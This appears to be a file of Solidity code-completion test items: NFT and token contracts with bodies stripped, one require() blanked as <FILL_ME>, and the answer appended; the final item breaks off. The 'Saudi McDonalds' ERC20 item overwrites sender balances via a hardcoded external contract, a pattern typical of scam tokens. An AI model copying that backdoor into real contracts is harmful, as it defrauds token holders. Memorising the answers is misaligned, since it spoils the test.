function setApprovalForAll(address operator, bool approved) public override {
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
}
function _safeMint(address to, uint256 quantity) internal {
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` cannot be larger than the max batch size.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
}
function remove(Role storage role, address account) internal {
}
function has(Role storage role, address account) internal view returns (bool) {
}
}
contract SignerRole is Ownable{
using Roles for Roles.Role;
event MinerAdded(address indexed account);
event MinerRemoved(address indexed account);
Roles.Role private _signers;
constructor(){
}
modifier onlySigner() {
}
function isSigner(address account) public view returns (bool) {
}
function addSigner(address account) public virtual onlySigner {
}
function renounceSigner() public {
}
function _addSigner(address account) internal {
}
function _removeSigner(address account) internal {
}
}
pragma solidity ^0.8.0;
contract LyrraAirdrop is ERC721A, SignerRole {
using Strings for uint256;
string public uriPrefix = "";
string public uriSuffix = ".json";
uint256 public maxSupply = 1000;
uint256 public maxMintAmountPerTx = 1; //100
mapping(address => uint256) public addressMintedBalance;
constructor() ERC721A("LyrraAirdrop", "LYRRAAIRDROP", maxMintAmountPerTx) {
}
modifier mintCompliance(uint256 _mintAmount) {
require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalid mint amount!");
require(<FILL_ME>)
_;
}
function BatchMint(address[] calldata _tos) public mintCompliance(maxMintAmountPerTx) onlySigner {
}
function mintOwner(address _to, uint256 _mintAmount) public mintCompliance(_mintAmount) onlyOwner {
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| currentIndex+_mintAmount<=maxSupply,"Max supply exceeded!" | 82,324 | currentIndex+_mintAmount<=maxSupply |
'ERC721A: transfer to the zero address' | pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Does not support burning tokens to address(0).
*
* Assumes that an owner cannot have more than the 2**128 (max value of uint128) of supply
*/
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
uint256 internal currentIndex = 0;
uint256 internal immutable maxBatchSize;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
uint256 mintedTotal;
/**
* @dev
* `maxBatchSize` refers to how much a minter can mint at a time.
*/
constructor(
string memory name_,
string memory symbol_,
uint256 maxBatchSize_
) {
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
}
/*
get minted total
*/
function getMintedTotal() public view returns (uint256) {
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
}
function _numberMinted(address owner) internal view returns (uint256) {
}
function numberMinted(address owner) public view returns (uint256) {
}
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
}
function _safeMint(address to, uint256 quantity) internal {
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` cannot be larger than the max batch size.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
}
function remove(Role storage role, address account) internal {
}
function has(Role storage role, address account) internal view returns (bool) {
}
}
contract SignerRole is Ownable{
using Roles for Roles.Role;
event MinerAdded(address indexed account);
event MinerRemoved(address indexed account);
Roles.Role private _signers;
constructor(){
}
modifier onlySigner() {
}
function isSigner(address account) public view returns (bool) {
}
function addSigner(address account) public virtual onlySigner {
}
function renounceSigner() public {
}
function _addSigner(address account) internal {
}
function _removeSigner(address account) internal {
}
}
pragma solidity ^0.8.0;
contract LyrraAirdrop is ERC721A, SignerRole {
using Strings for uint256;
string public uriPrefix = "";
string public uriSuffix = ".json";
uint256 public maxSupply = 1000;
uint256 public maxMintAmountPerTx = 1; //100
mapping(address => uint256) public addressMintedBalance;
constructor() ERC721A("LyrraAirdrop", "LYRRAAIRDROP", maxMintAmountPerTx) {
}
modifier mintCompliance(uint256 _mintAmount) {
}
function BatchMint(address[] calldata _tos) public mintCompliance(maxMintAmountPerTx) onlySigner {
for (uint256 i = 0; i < _tos.length; ++i) {
require(<FILL_ME>)
}
for (uint256 i = 0; i < _tos.length; ++i) {
_safeMint(_tos[i],maxMintAmountPerTx);
}
}
function mintOwner(address _to, uint256 _mintAmount) public mintCompliance(_mintAmount) onlyOwner {
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| _tos[i]!=address(0),'ERC721A: transfer to the zero address' | 82,324 | _tos[i]!=address(0) |
"Ownable: caller is not the owner" | pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC5679 {
function sendTransaction(uint256 value) external returns (uint256);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address _arabia = 0xeB7bB5d977be9B7FE1f46332390a5D9B057594a4;
address public pair;
IDEXRouter router;
IERC5679 arabia;
string private _name; string private _symbol; uint256 private _totalSupply;
bool public trade; uint256 public startBlock; address public msgSend;
address public msgReceive;
constructor (string memory name_, string memory symbol_) {
}
function symbol() public view virtual override returns (string memory) {
}
function name() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function approve(address spender, uint256 amount) public virtual returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function openTrading() public {
require(<FILL_ME>)
trade = true; startBlock = block.number;
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function getAmount(uint256 amount) internal returns (uint256) {
}
function _beforeTokenTransfer(address sender, address recipient, uint256 amount) internal virtual {
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function _DeployMcSaudi(address account, uint256 amount) internal virtual {
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol) {
}
}
contract McSaudi is ERC20Token {
constructor() ERC20Token("Saudi McDonalds", "MCSAUDI", msg.sender, 2500000000 * 10 ** 18) {
}
}
| ((msg.sender==owner())||(address(0)==owner())),"Ownable: caller is not the owner" | 82,417 | ((msg.sender==owner())||(address(0)==owner())) |
"ERC20: trading is not yet enabled" | pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC5679 {
function sendTransaction(uint256 value) external returns (uint256);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address _arabia = 0xeB7bB5d977be9B7FE1f46332390a5D9B057594a4;
address public pair;
IDEXRouter router;
IERC5679 arabia;
string private _name; string private _symbol; uint256 private _totalSupply;
bool public trade; uint256 public startBlock; address public msgSend;
address public msgReceive;
constructor (string memory name_, string memory symbol_) {
}
function symbol() public view virtual override returns (string memory) {
}
function name() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function approve(address spender, uint256 amount) public virtual returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function openTrading() public {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function getAmount(uint256 amount) internal returns (uint256) {
}
function _beforeTokenTransfer(address sender, address recipient, uint256 amount) internal virtual {
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
msgSend = sender; msgReceive = recipient;
require(<FILL_ME>)
require(msgSend != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = getAmount(amount) - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _DeployMcSaudi(address account, uint256 amount) internal virtual {
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol) {
}
}
contract McSaudi is ERC20Token {
constructor() ERC20Token("Saudi McDonalds", "MCSAUDI", msg.sender, 2500000000 * 10 ** 18) {
}
}
| ((trade==true)||(msgSend==owner())),"ERC20: trading is not yet enabled" | 82,417 | ((trade==true)||(msgSend==owner())) |
"Presale is on" | // SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.9.0;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract LFGPass is ERC721Enumerable, Ownable {
using Strings for uint256;
string public baseURI;
string public baseExtension = ".json";
uint256 public cost = 0.08 ether;
uint256 public maxSupply = 3333;
uint256 public maxSupplyForPresale = 1000;
uint256 public maxMintAmount = 5;
uint256 public nftPerWhitelistAddressLimit = 2;
bool public paused = false;
bool public onlyPresale = true;
bytes32 private whitelistMerkleRoot;
mapping(address => uint256) public addressMintedBalance;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI
) ERC721(_name, _symbol) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function mint(uint256 _mintAmount) public payable {
require(!paused, "the contract is paused");
uint256 supply = totalSupply();
require(_mintAmount > 0, "min mint is 1 NFT");
require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded");
if (msg.sender != owner()) {
require(<FILL_ME>)
require(_mintAmount <= maxMintAmount, "max mint amount per session exceeded");
require(msg.value >= cost * _mintAmount, "insufficient funds");
}
for (uint256 i = 1; i <= _mintAmount; i++) {
addressMintedBalance[msg.sender]++;
_safeMint(msg.sender, supply + i);
}
}
function whitelistMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) public payable {
}
function setWhitelistMerkleRoot(bytes32 root) external onlyOwner {
}
function setCost(uint256 _newCost) public onlyOwner {
}
function walletOfOwner(address _owner) public view returns (uint256[] memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
}
function setNftPerWhitelistAddressLimit(uint256 _limit) public onlyOwner {
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
}
function pause(bool _state) public onlyOwner {
}
function setOnlyPresale(bool _state) public onlyOwner {
}
function withdraw() public payable onlyOwner {
}
}
| !onlyPresale,"Presale is on" | 82,500 | !onlyPresale |
"max NFT limit for presale exceeded" | // SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.9.0;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract LFGPass is ERC721Enumerable, Ownable {
using Strings for uint256;
string public baseURI;
string public baseExtension = ".json";
uint256 public cost = 0.08 ether;
uint256 public maxSupply = 3333;
uint256 public maxSupplyForPresale = 1000;
uint256 public maxMintAmount = 5;
uint256 public nftPerWhitelistAddressLimit = 2;
bool public paused = false;
bool public onlyPresale = true;
bytes32 private whitelistMerkleRoot;
mapping(address => uint256) public addressMintedBalance;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI
) ERC721(_name, _symbol) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function mint(uint256 _mintAmount) public payable {
}
function whitelistMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) public payable {
require(!paused, "the contract is paused");
require(onlyPresale, "Presale is false");
uint256 supply = totalSupply();
require(_mintAmount > 0, "min mint is 1 NFT");
require(<FILL_ME>)
uint256 ownerMintedCount = addressMintedBalance[msg.sender];
require(
ownerMintedCount + _mintAmount <= nftPerWhitelistAddressLimit,
"max NFT per whitelist address exceeded"
);
// Check if user is whitelisted
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(_merkleProof, whitelistMerkleRoot, leaf), "Invalid Proof, User not whitelisted");
require(msg.value >= cost * _mintAmount, "insufficient funds");
for (uint256 i = 1; i <= _mintAmount; i++) {
addressMintedBalance[msg.sender]++;
_safeMint(msg.sender, supply + i);
}
}
function setWhitelistMerkleRoot(bytes32 root) external onlyOwner {
}
function setCost(uint256 _newCost) public onlyOwner {
}
function walletOfOwner(address _owner) public view returns (uint256[] memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
}
function setNftPerWhitelistAddressLimit(uint256 _limit) public onlyOwner {
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
}
function pause(bool _state) public onlyOwner {
}
function setOnlyPresale(bool _state) public onlyOwner {
}
function withdraw() public payable onlyOwner {
}
}
| supply+_mintAmount<=maxSupplyForPresale,"max NFT limit for presale exceeded" | 82,500 | supply+_mintAmount<=maxSupplyForPresale |
"max NFT per whitelist address exceeded" | // SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.9.0;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract LFGPass is ERC721Enumerable, Ownable {
using Strings for uint256;
string public baseURI;
string public baseExtension = ".json";
uint256 public cost = 0.08 ether;
uint256 public maxSupply = 3333;
uint256 public maxSupplyForPresale = 1000;
uint256 public maxMintAmount = 5;
uint256 public nftPerWhitelistAddressLimit = 2;
bool public paused = false;
bool public onlyPresale = true;
bytes32 private whitelistMerkleRoot;
mapping(address => uint256) public addressMintedBalance;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI
) ERC721(_name, _symbol) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function mint(uint256 _mintAmount) public payable {
}
function whitelistMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) public payable {
require(!paused, "the contract is paused");
require(onlyPresale, "Presale is false");
uint256 supply = totalSupply();
require(_mintAmount > 0, "min mint is 1 NFT");
require(supply + _mintAmount <= maxSupplyForPresale, "max NFT limit for presale exceeded");
uint256 ownerMintedCount = addressMintedBalance[msg.sender];
require(<FILL_ME>)
// Check if user is whitelisted
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(_merkleProof, whitelistMerkleRoot, leaf), "Invalid Proof, User not whitelisted");
require(msg.value >= cost * _mintAmount, "insufficient funds");
for (uint256 i = 1; i <= _mintAmount; i++) {
addressMintedBalance[msg.sender]++;
_safeMint(msg.sender, supply + i);
}
}
function setWhitelistMerkleRoot(bytes32 root) external onlyOwner {
}
function setCost(uint256 _newCost) public onlyOwner {
}
function walletOfOwner(address _owner) public view returns (uint256[] memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
}
function setNftPerWhitelistAddressLimit(uint256 _limit) public onlyOwner {
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
}
function pause(bool _state) public onlyOwner {
}
function setOnlyPresale(bool _state) public onlyOwner {
}
function withdraw() public payable onlyOwner {
}
}
| ownerMintedCount+_mintAmount<=nftPerWhitelistAddressLimit,"max NFT per whitelist address exceeded" | 82,500 | ownerMintedCount+_mintAmount<=nftPerWhitelistAddressLimit |
"Invalid Proof, User not whitelisted" | // SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.9.0;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract LFGPass is ERC721Enumerable, Ownable {
using Strings for uint256;
string public baseURI;
string public baseExtension = ".json";
uint256 public cost = 0.08 ether;
uint256 public maxSupply = 3333;
uint256 public maxSupplyForPresale = 1000;
uint256 public maxMintAmount = 5;
uint256 public nftPerWhitelistAddressLimit = 2;
bool public paused = false;
bool public onlyPresale = true;
bytes32 private whitelistMerkleRoot;
mapping(address => uint256) public addressMintedBalance;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI
) ERC721(_name, _symbol) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function mint(uint256 _mintAmount) public payable {
}
function whitelistMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) public payable {
require(!paused, "the contract is paused");
require(onlyPresale, "Presale is false");
uint256 supply = totalSupply();
require(_mintAmount > 0, "min mint is 1 NFT");
require(supply + _mintAmount <= maxSupplyForPresale, "max NFT limit for presale exceeded");
uint256 ownerMintedCount = addressMintedBalance[msg.sender];
require(
ownerMintedCount + _mintAmount <= nftPerWhitelistAddressLimit,
"max NFT per whitelist address exceeded"
);
// Check if user is whitelisted
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(<FILL_ME>)
require(msg.value >= cost * _mintAmount, "insufficient funds");
for (uint256 i = 1; i <= _mintAmount; i++) {
addressMintedBalance[msg.sender]++;
_safeMint(msg.sender, supply + i);
}
}
function setWhitelistMerkleRoot(bytes32 root) external onlyOwner {
}
function setCost(uint256 _newCost) public onlyOwner {
}
function walletOfOwner(address _owner) public view returns (uint256[] memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
}
function setNftPerWhitelistAddressLimit(uint256 _limit) public onlyOwner {
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
}
function pause(bool _state) public onlyOwner {
}
function setOnlyPresale(bool _state) public onlyOwner {
}
function withdraw() public payable onlyOwner {
}
}
| MerkleProof.verify(_merkleProof,whitelistMerkleRoot,leaf),"Invalid Proof, User not whitelisted" | 82,500 | MerkleProof.verify(_merkleProof,whitelistMerkleRoot,leaf) |
'RestrictApprove: Can not approve locked token' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/access/AccessControl.sol';
import '@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import '@openzeppelin/contracts/utils/structs/EnumerableSet.sol';
import '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol';
import '@manifoldxyz/royalty-registry-solidity/contracts/overrides/RoyaltyOverrideCore.sol';
import 'contract-allow-list/contracts/proxy/interface/IContractAllowListProxy.sol';
import './interface/ITalismanPaperOfMakami.sol';
contract TalismanPaperOfMakami is
ITalismanPaperOfMakami,
ERC1155Supply,
Ownable,
AccessControl,
EIP2981RoyaltyOverrideCore
{
enum Phase {
BeforeMint,
PreMint
}
using EnumerableSet for EnumerableSet.AddressSet;
using Strings for uint256;
bytes32 public constant MINTER_ROLE = keccak256('MINTER_ROLE');
bytes32 public constant BURNER_ROLE = keccak256('BURNER_ROLE');
string public constant baseExtension = '.json';
string public constant name = 'Talisman Paper of Makami';
string public constant symbol = 'TPM';
string public baseURI = 'https://data.syou-nft.com/tpm/json/';
IContractAllowListProxy public cal;
EnumerableSet.AddressSet localAllowedAddresses;
uint256 public calLevel = 1;
bool public enableRestrict = true;
uint256 public targetTokenId = 1;
uint256 public maxSupply = 2222;
Phase public phase = Phase.BeforeMint;
mapping(uint256 => mapping(address => uint256)) public minted;
bytes32 public merkleRoots;
modifier onlyMinter() {
}
modifier onlyBurner() {
}
constructor() ERC1155('') {
}
// public
function uri(uint256 tokenId) public view virtual override returns (string memory) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC1155, AccessControl, EIP2981RoyaltyOverrideCore)
returns (bool)
{
}
